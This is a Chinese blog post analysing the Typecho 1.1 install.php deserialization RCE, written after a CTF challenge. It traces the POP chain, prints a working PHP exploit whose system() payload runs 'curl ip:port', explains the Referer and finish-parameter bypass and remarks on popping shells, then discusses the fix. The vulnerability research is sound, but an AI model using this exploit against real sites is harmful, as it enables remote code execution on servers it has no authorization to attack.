起因是跟北邮天璇的师傅聊天的时候聊到mrctf的ezpop-reverage有非预期 其实就是typecho1.1 rce的链子没过滤好,然后我就自己写了个exp 打了一发试试,结果本地打通,远程500了。干脆就不去纠结苛刻的回显利用问题,直接去看看typecho1.1的rce洞。

利用条件

这个洞的一个关键条件就是install.php不被删删除,因为可控的反序列化点在那里。 那就先看看install.php是怎么写的吧

从cookie里获取数据 base64解码之后反序列化 跟进一下get方法的实现

用了一个嵌套的三目运算 翻译一下就是有cookie就用cookie 没cookie就看post有没有 显然是可控的

然后只需要找一条利用链就可以了

反序列化pop链构造

先寻找无条件的入口,会发现__destruct没有可利用的

__wakeup干脆没有

往下跟进,new了一个Typecho_Db类

去看这个类的construct

这里的字符串拼接操作导致可以触发__tostring

全局搜索寻找可利用的tostring

在feed.php中

这一行的属性调用可以触发__get

而request.php中恰好有一个走向rce的get方法

这里相比我在题目里看的版本从单纯的call_user_func变成了一个三目 不影响 array_map和call_user_fun都是代码执行函数。

exp:

<?php
class Typecho_Request
{
    private $_params;
    private $_filter;
    public function __construct()
    {// $value = $this->_params[$key];                  call_user_func($filter, $value);
        $this->_filter=array("system");
        $this->_params=array("screenName"=>"curl ip:port");//前面的属性为screenName
    }

}
class Typecho_Feed
{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function __construct()
    {
        $this->_items[]=["author"=>new Typecho_Request()];

    }
}
$config=array("adapter"=>new Typecho_Feed(),"prefix"=>'123');
echo base64_encode(serialize($config));
?>

(偶尔发一次exp应该问题不大吧)

不是完美的exp

因为属性设置的问题,在某一环节会报错。然后回显会被报错信息覆盖

不过虽然回显没有,命令还是执行了的,curl发个包,弹个shell 写个shell 自己给自己弹个计算器(大雾)还是完全没问题的。

由于这一行的存在,要设置下referer

然后设置finish,在install.php里打过去就OK了

修复方法

务必删除install文件
看了下官方的修复,直接把反序列化那里的实例对象操作删掉了。不过讲道理,explode依然是可以触发__tostring的 这个链子还是存在的

 $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                                    $type = explode('_', $config['adapter']);
                                    $type = array_pop($type);
                                    $type = $type == 'Mysqli' ? 'Mysql' : $type;
                                    $installDb = $db;

不过再讲道理

    $db = Typecho_Db::get();
    try {
        $installed = $db->fetchRow($db->select()->from('table.options')->where('name = ?', 'installed'));
        if (empty($installed) || $installed['value'] == 1) {
            Typecho_Response::setStatus(404);
            exit;
        }
    } catch (Exception $e) {
        // do nothing
    }

加了个在数据库上进行的判断,在安装成功之后数据库会有一个安装参数
在存在漏洞的版本中,这里仅仅是对get中的finish参数和session,还有文件存在与否进行了与判断,只要设置finish参数就可以绕过去,现在的版本显然安全多了。

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注